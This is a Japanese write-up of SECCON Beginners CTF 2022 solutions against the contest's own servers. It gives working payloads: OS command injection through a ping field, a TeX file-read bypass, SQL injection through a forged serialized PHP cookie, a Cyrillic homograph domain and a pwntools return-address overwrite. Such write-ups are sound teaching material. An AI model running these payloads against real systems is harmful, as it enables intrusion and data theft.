SECCON Beginners CTF 2022 writeup
はじめに
SECCON Beginners CTF 2022 に参加したので復習を兼ねてWriteupを書きます。
常設でないCTFでいえば毎年SECCON Beginners CTFくらいしか参加はしていませんが、今回はWeb 4,misc 3,pwn reversing crypt 1が解けて嬉しかったです。
結果は891チーム中の99位と個人的には悪くない結果でした。
web
Util
問題文
ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
https://util.quals.beginners.seccon.jp
配布ファイル
|-- Dockerfile
|-- docker-compose.yml
|-- go.mod
|-- go.sum
|-- main.go
`-- pages
`-- index.html
リンク先
問題文のリンクを踏むと
以下のようなページが表示されます。
IPアドレスを入力し、checkボタンを押すとpingのコマンドの結果が出力されます。
考察・回答
main.goを読むと以下のような記述があります。
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
param.Addressは特にvalidationされていないのでここに 127.0.0.1 ; 好きなコマンド
を送り付ければOSコマンドインジェクションが出来そうです。
ただし、index.htmlでフロント側での正規表現によるIPアドレスのチェックがあったためフォームからでなくブラウザのコンソールにて送信をします。
Dockerfileをみるとファイル名が乱数により生成されているので先にファイル名を取得します。
var xhr = new XMLHttpRequest();
xhr.open("POST", "/util/ping");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify({"address":"127.0.0.1 >/dev/null; ls .."}));
console.log(xhr)
レスポンスを見るとフラグファイル名 flag_A74FIBkN9sELAjOc.txt
を取得しましたので中身を確認して終了です。
var xhr = new XMLHttpRequest();
xhr.open("POST", "/util/ping");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify({"address":"127.0.0.1 >/dev/null; cat flag_A74FIBkN9sELAjOc.txt"}));
console.log(xhr)
textex
問題文
texをpdfにするサービスを作りました。
texで攻撃することはできますか?
https://textex.quals.beginners.seccon.jp
配布ファイル
|-- app
| |-- Dockerfile
| |-- app.py
| |-- flag
| |-- requirements.txt
| |-- templates
| | `-- index.html
| |-- tex_box
| | |-- error
| | | |-- error.pdf
| | | |-- error.tex
| | | `-- ramen.jpg
| | `-- error.pdf
| `-- uwsgi.ini
|-- docker-compose.yml
`-- nginx
|-- Dockerfile
`-- nginx.conf
リンク先
問題文にある通りtexを入力すると結果のPDFを出力してくれます。
ただし、エラーの場合にはエラー内容ではなくラーメンの画像とエラーであることがわかるPDFが出力されます。
考察・回答
普段texを使うことがないので大分苦戦しました。
気にするべきところはapp.pyに入っている以下のコードでflagという文字列を含むことができません。
if "flag" in tex_code.lower():
tex_code = ""
後はこの制約を満たすようにtexの構文を調べて書くのみです。
調べた結果要点は下の通りでした
- 外部ファイルを読み込む
input
- flagの最後の一文字をマクロに置き換える、
- flag.txt内をtex記法で読み込んでエラーを吐くのでそれを無効にする
- 特殊文字無効化内でもなぜか展開できるマクロの黒魔術
特に最後のものは全く理解ができませんでしたが動くので良しです。
最終的なコードは以下のようになりました。
\documentclass{article}
\begin{document}
\def \G {g}
\catcode`@=13
\def@{\input{/var/www/fla\G}}
\begin{verbatim}
@
\end{verbatim}
\end{document}
これでflag文字列のみが出力されるpdfの完成です
gallery
問題文
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?
仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?
https://gallery.quals.beginners.seccon.jp
リンク先
Please Selectではgif,png,jpegが選択可能で、選択した拡張子のほぼ同じ画像がリストされます。
また、ファイル名をクリックすると画像を閲覧できます。
配布ファイル
|-- Makefile
|-- backend
| |-- Dockerfile
| |-- go.mod
| |-- go.sum
| |-- handlers.go
| |-- main.go
| `-- static
| |-- index.html
| |-- jigohoukoku.gif
| |-- jigohoukoku.jpeg
| |-- jigohoukoku.png
| |-- lgtm.gif
| |-- lgtm.jpeg
| `-- lgtm.png
|-- docker-compose.yml
`-- nginx
|-- Dockerfile
`-- nginx.conf
考察・回答
画像を調べてみても特段おかしいところはありませんでした。
main.goに以下のような記述があります。
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
処理を追えばわかるのですが10240バイト以上のファイルはすべてのバイトを"?"に変換して返されます。
ただし画像ファイルはどれもこのサイズを超えていないようです。
ここで拡張子選択の機能はGETパラメータfile_extensionに基づいて検索しているので適当にそこを"1"に変えてみたところ以下のようになりました。
明らかにflagファイルですがクリックしてみるとすべて"?"に置き換えられてしまいます。
lengthLimitに引っかからないようにこの画像へのGETリクエストを通す方法を考えます。
Accept-Encoding
curlでリクエストを送り、ヘッダに圧縮方式を一通り入れて試してみましたがサイズは変わりませんでした。
分割取得
curlにrオプションというものがあったので使ってみたところうまく取得できました。
"?"で置き換えられていてもファイルサイズは変わらないので失敗したときの情報からファイルサイズは推測しています。
最終的に以下のコマンドでflag文字列の書かれたpdfを取得できました。
curl -r 0-10230 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >a.pdf
curl -r 10231-16085 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >>a.pdf
serial
問題文
フラッグは flags テーブルの中にあるよ。ゲットできるかな?
https://serial.quals.beginners.seccon.jp
リンク先
適当なuser名,パスワードを入力すると以下の様な画面に遷移します。
配布ファイル
|-- Makefile
|-- docker-compose.yml
|-- html
| |-- database.php
| |-- index.php
| |-- logout.php
| |-- signup.php
| |-- todo.php
| |-- todo_create.php
| |-- todo_update.php
| `-- user.php
|-- mysql
| |-- conf.d
| | `-- my.cnf
| `-- initdb.d
| |-- 0_grant.sql
| |-- 1_schema.sql
| `-- 2_init.sql
|-- php
| `-- Dockerfile
`-- php.ini
考察・回答
問題文からSQLインジェクションの可能性はとても高いと思われます。
そこでSQLのクエリをさがしたところ6か所ほどありましたが、1か所を除きプリペアドステートメントになっていました。
そしてその1か所は文字列連結でクエリを組み立てています、怪しいですね。
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
次にSQLインジェクションした結果を確認できそうな個所を探します。
すると、signup.php及びuser.php内でログインされたuserの情報をcookieにセットしていることがわかります。
# user.php 49行目
setcookie("__CRED", base64_encode(serialize($storedUser)));
# signup.php 56行目
setcookie("__CRED", base64_encode(serialize($user)));
なので、SQLインジェクションによってuserid,user名もしくはpassword_hashにflag文字列をセットすれば良さそうです。
ただし、signup.phpではuser作成時にuser名中のSELECT
,FROM
,'
flag
,UNION
が?
に置き換えられてしまうようです。
# user.php 5行目
private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");
# user.php 14行目コンストラクタ内
$this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
以上からuser.phpのlogin関数に渡すため、Userの情報が入ったcookieを作成しUser名を利用しSQLインジェクションを行う。
SQLインジェクションの結果でflag文字列をuser名にセット、user名がsetされたcookieをデコードしてflagを取得します。
cookieの内容生成
class User
{
public $id;
public $name;
public $password_hash;
}
//レコードを一つに絞るため存在しないユーザー名を指定
$sql="aaijijijijijaiwdqajldwkja' UNION SELECT body,body,'1' FROM flags;#";
$user=new User();
$user->name=$sql;
$user->id=1;
$user->password_hash="1";
$us=base64_encode(serialize($user));
print($us."\n");
結果的にSQLのクエリはこのようになります。
ちなみにMySQLなのでコメントアウトは#
です。
SELECT id, name, password_hash FROM users WHERE name = 'aaijijijijijaiwdqajldwkja' UNION SELECT body,body,'1' FROM flags;#' LIMIT 1";
上記コードでセットされた文字列をブラウザコンソールでCookieにセット
document.cookie="__CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtpOjE7czo0OiJuYW1lIjtzOjY3OiJhYWlqaWppamlqaWphaXdkcWFqbGR3a2phJyAgVU5JT04gU0VMRUNUIGJvZHksYm9keSwnMScgRlJPTSBmbGFnczsjIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjE6IjEiO30="
リロードするとCookieが更新されているためdocument.cookieをブラウザコンソールで確認
base64decodeとphpのunserialize関数を通すと無事flag獲得です。
misc
phisher
問題文
ホモグラフ攻撃を体験してみましょう。
心配しないで!相手は人間ではありません。
nc phisher.quals.beginners.seccon.jp 44322
配布ファイル
|-- Dockerfile
|-- docker-compose.yml
|-- font
| |-- Murecho-Black.ttf
| `-- OFL.txt
|-- phisher.py
`-- requirements.txt
ncコマンド実行結果
_ _ _ ____ __
_ __ | |__ (_)___| |__ ___ _ __ / /\ \ / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ /
| |_) | | | | \__ \ | | | __/ | \ \ / /\ \
| .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\
|_|
FQDN: a << aは自分の入力
"???????????????" is not "www.example.com" !!!!
考察・回答
問題文にあるホモグラフ攻撃とはwikipediaより以下のようなものです
URLのホスト名の文字として、真正なサイトに酷似した、異なる文字( = 見た目の形が紛らわしい文字)を用いて偽装し、偽のサイトに誘導するスプーフィング攻撃の一種で、同形異字語攻撃ともいう。
ソースコードを読むと入力した文字を画像出力、画像出力結果を画像認識で認識する。
認識結果がwww.example.comかつwww.example.comと1文字も同じ文字が含まれていない場合にflagを表示するようです。
まさにホモグラフ攻撃というような問題です。
キリル文字がかなり同じような形なのでそこを中心にUnicode表をたくさん見て解きました。
ソースコード
w="\u03C9"
period="\u2024"
e="\u0435"
x="\u0445"
a="\u0430"
p="\u0440"
l="\u0406"
c="\u0441"
o="\u043E"
m="\u043C"
print(w+w+w+period+e+x+a+m+p+l+e+period+c+o+m)
実行結果
H2
問題文
バージョン2です。
配布ファイル
|-- capture.pcap.xz
`-- main.go
考察・回答
配布されたソースコードは以下のようになっていました。短いのでimportを除く全体を。
const SECRET_PATH = "<secret>"
func main() {
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == SECRET_PATH {
w.Header().Set("x-flag", "<secret>")
}
w.WriteHeader(200)
fmt.Fprintf(w, "Can you find the flag?\n")
})
h2s := &http2.Server{}
h1s := &http.Server{
Addr: ":8080",
Handler: h2c.NewHandler(handler, h2s),
}
log.Fatal(h1s.ListenAndServe())
}
secretはx-flagというヘッダに記述されているようです。
渡されたpcapファイルをwiresharkで解析することにします。
pcapファイルは解凍すると100MBほどあり、レコードを全部見るのは1日じゃとても足りないレベルです。
ただし、wiresharkはフィルター機能があるのでそれを使います。
http2.header.name=="x-flag"
無事一件に絞り込むことができ、ポチポチ中身を見るとflag獲得です。
hitchhike4b
問題文
helpを呼び出したら、ページャーとして猫が来ました。
nc hitchhike4b.quals.beginners.seccon.jp 55433
配布ファイル
なし
ncコマンド実行結果
| |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__
| '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \
| | | | | || (__| | | | | | | | < __/__ _| |_) |
|_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___| |_| |_.__/
----------------------------------------------------------------------------------------------------
# Source Code
import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)
if __name__ == "__main__":
flag1 = "********************FLAG_PART_1********************"
help() # I need somebody ...
if __name__ != "__main__":
flag2 = "********************FLAG_PART_2********************"
help() # Not just anybody ...
----------------------------------------------------------------------------------------------------
Welcome to Python 3.10's help utility!
If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.
Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".
To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics". Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".
help>
考察・回答
pythonのコードでFLAG_PART_1とFLAG_PART_2の部分に隠された文字列を見つける必要があるようです。
ただしこちらで操作できるのはpythonのhelp関数のインタプリタのみです。
まずhelp関数なるものを初めて知りましたが、いろいろ調べてみます。
調べた結果組み込みのクラスでなくても読み込める状態にあるクラスを入力するとそのクラスについているdocstringなんかを表示してくれるそうです。
そんなわけでちょっとエスパー気味に__main__
を入力します。
help> __main__
Help on module __main__:
NAME
__main__
DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
フラグの一部が見えました。
これでファイル名がわかったので今度はファイル名を入力してみます。
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:
NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
これしか思いつかないという理由で入力していましたが、module内の変数、定数を表示してくれるのは面白いですね。
これでflag文字列の後ろ半分も見ることができ、この問題は終了です。
pwn
BeginnersBof
問題文
Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.
nc beginnersbof.quals.beginners.seccon.jp 9000
配布ファイル
|-- chall
`-- src.c
ncコマンド実行結果
How long is your name?
100 << 自分の入力
What's your name?
aaaa << 自分の入力
Hello aaaa
考察・回答
src.cの内容はincludeを除いて以下の通りです。
#define BUFSIZE 0x10
void win() {
char buf[0x100];
int fd = open("flag.txt", O_RDONLY);
if (fd == -1)
err(1, "Flag file not found...\n");
write(1, buf, read(fd, buf, sizeof(buf)));
close(fd);
}
int main() {
int len = 0;
char buf[BUFSIZE] = {0};
puts("How long is your name?");
scanf("%d", &len);
char c = getc(stdin);
if (c != '\n')
ungetc(c, stdin);
puts("What's your name?");
fgets(buf, len, stdin);
printf("Hello %s", buf);
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
明らかにバッファオーバーフローの脆弱性がありそうです....があまり調べ方がわからないのでreturnアドレスの書き換え問題だろうと決めつけています。
main関数のreturnアドレスをwin関数に書き換えます。
そこで以下の様なコードを書きました。
from pwn import *
import pwn
import ptrlib
chall = ELF("chall")
def exploit(i):
io = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
payload=b"100"
io.sendline(payload)
payload=b"A"*i
payload += p64(chall.sym["win"])
io.sendline(payload)
io.interactive()
for i in range(10,100):
exploit(i)
変数の状態をどう調べていいかわからずとりあえず適当な文字数A
を詰めてwin関数のアドレスを送ればいいだろうという安易な考えでA
の文字数を総当たりしました。
Ctrl-Cをリズミカルに押し続けること30回ほどでflagが見えました。
大分ラッキーです
[+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done
[*] Switching to interactive mode
How long is your name?
What's your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
Crypt
CoughingFox
問題文
きつねさんが食べ物を探しているみたいです。
添付ファイル
.
|-- output.txt
`-- problem.py
ファイル内容
output.txt
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
problem.py
from random import shuffle
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
cipher = []
for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)
shuffle(cipher)
print("cipher =", cipher)
考察・回答
ファイルのタイムスタンプが1995年だったのでrandom
モジュールの初期シードをどうにか合わせる問題だと思いあり得ないくらい時間を溶かしました。
この問題は暗号化された結果の値が文字コードf
と文字の位置i
を用いて
c=(f+i)^2 +i
と表されています。
ここでiは文字の位置なのでいくらshuffle関数を通していようと数値だけで文字の位置の情報も含まれているようです。
ということでちょっと強引に復元します。
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
D={}
for i in range(49):
for j in range(0x20,0x80):
D[(j+i)**2+i]=(chr(j),i)
flag=[""]*49
for i in cipher:
flag[D[i][1]]=D[i][0]
print("".join(flag))
うまくいく証明はしてませんが問題なくフラグをGETできました。
終わりに
ここまで読んでいただきありがとうございます。
誤字や指摘などありましたら是非お願いします。